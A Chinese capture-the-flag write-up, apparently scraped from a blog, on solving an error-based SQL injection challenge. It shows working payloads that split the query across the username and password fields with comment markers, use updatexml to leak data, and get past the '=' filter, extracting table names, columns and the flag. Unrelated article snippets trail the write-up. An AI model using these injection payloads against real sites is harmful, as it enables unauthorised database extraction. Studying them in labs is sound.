实验吧web加了料的报错注入

知识点:

SQL注入中用到的Concat函数详解    http://www.sohu.com/a/219966085_689961

http分割注入

直接根据提示,提交post请求的用户名和密码

结果显示

换成 username=1‘&password=1

就说我有sql语法错误,说明这题是要考虑sql注入的,然后然后用burpsuite检测许多sql相关的词,看哪些词被过滤了

bp爆破测试教程可以参考这一篇https://blog.csdn.net/weixin_38948797/article/details/79111566

查看测试的结果:# = union select等这几个都是报错‘Sql injection detected’说明都被过滤了

看一下网页源码

介于这个情况,还有源码中的提示是这样一整句的查询

故而我们考虑用http分割注入,这个形式便是把一个想执行的语句,拆散到两个参数里,并注释中间的东西,来达到注入的目的

记得我们得知的SQL语句格式嘛?  where username=‘???‘ and password=‘???‘   而sql语句中可以使用/**/注释掉中间的SQL语句。也就是说,我们可以使用/**/来解决这个问题,而且/**/也没有被吃掉,这叫做HTTP分割注入。

对经常使用的报错注入函数updatexml进行测试。在密码中禁止对updatexml的使用,但是用户名并没有禁止。因此通过updatexml在存储非XPath格式的字符串时的报错输出获得所需要的信息。

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml在username中可用,而在password中被过滤了,现在还有一个问题,等号‘=’不让用,我们这里告诉一个操作:<>在sql中表示不等于,再在前面加个!就能起到等号的作用了

(1)函数库名

username=1‘ or updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or ‘1

(2)表名

username=1‘ or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>‘error_based_hpf‘)),0x7e),1) or ‘1

(3)字段

username=1‘ or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where !(table_name<>‘ffll44jj‘)),0x7e),1) or ‘1

(4)内容

username=1‘ or updatexml/*&password=*/(1,concat(0x7e,(select value from ffll44jj),0x7e),1)or ‘1

参考了https://blog.csdn.net/qq_41618162/article/details/81783298

原文地址:https://www.cnblogs.com/liqik/p/10543345.html

时间: 2024-11-10 17:10:19

实验吧web加了料的报错注入的相关文章

加了料的报错注入(实验吧)

刚学到了一种新的注入方法,在此记录分享以便加深记忆. 是实验吧里的一道sql注入题,在本文中,用两种方法来解这道题: 1.HPF(HTTP Parameter Fragment) 2.exp()报错注入 先来说HPF(http分割注入),首先看这道题 题目地址 查看源码我们发现: 根据题目要求,应该是post注入,然而没有登陆框,我们先通过hackbar按照要求传入username和password参数试试. 提示login failed ,说明我们的思路是没错的,接下来就是在这两个参数中寻找输

Tomcat version 6.0 only supports J2EE 1.2, 1.3, 1.4, and Java EE 5 Web modules ???报错!!!

tomcat在加载 项目是报错 Tomcat version 6.0 only supports J2EE 1.2, 1.3, 1.4, and Java EE 5 Web modules 报错 原因就是:需要用到tomcat7.0以上的tomcat服务!!!! 原文地址:https://www.cnblogs.com/healer777/p/12110153.html

hadoop整合到web工程发布到tomcat报错

我是用的maven,至少要移出如下的jar包: <!-- hadoop相关包 --> <dependency> <groupId>org.apache.hadoop</groupId> <artifactId>hadoop-core</artifactId> <version>1.0.4</version> <exclusions> <exclusion> <artifactId&

Echarts 明明和官方文档配置一致,图表加载却是报错:Error in mounted hook: &quot;TypeError: Cannot read property &#39;get&#39; of undefined&quot;,重新npm run dev,问题解决。

在搞Echarts的关系图graph,一开始正常显示,如下: 然而就在本人修改了option里的curveness = 0.2,ctrl+f5强制刷新页面后,图表加载报错:Error in mounted hook: "TypeError: Cannot read property 'get' of undefined" 一开始以为是因为curveness的修改而报错,遂回退修改,然而问题依旧. 于是乎,研究一下报错的地方,就是“axisModel = undefined”这个鬼东西报

sql盲注之报错注入(附自动化脚本)

作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入. 0×01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新. 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息. 关键是查询时会建立临时表存储数

sql注入--双查询报错注入原理探索

目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客,今天来探究其原理 实际上该报错是由于rand(),count(),group by 三个语句联合使用造成的,缺一不可. 上一篇的地址:https://www.cnblogs.com/laoxiajiadeyun/p/10278512.html part 1 场景复现 首先我们新建一个数据库,并创建一

【菜鸟学注入】之MySQL报错注入详解

本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于SELECT查询语句中的SQL注射 点来实现的.如果涉及非SELECT查询的注入,我们通常用到的就是mysql注入查询 创建一个test表 USE test; CREATE TABLE test(num int(5

又一种Mysql报错注入

from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的Mysql) mysql> SELECT 18446744073709551610 * 2; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)' mysql> SELECT

Mysql报错注入原理分析(count()、rand()、group by)

0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理. 0x01 位置问题? select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; 这是网上最常见的语句,目前位置看到的网上sql注入教程,f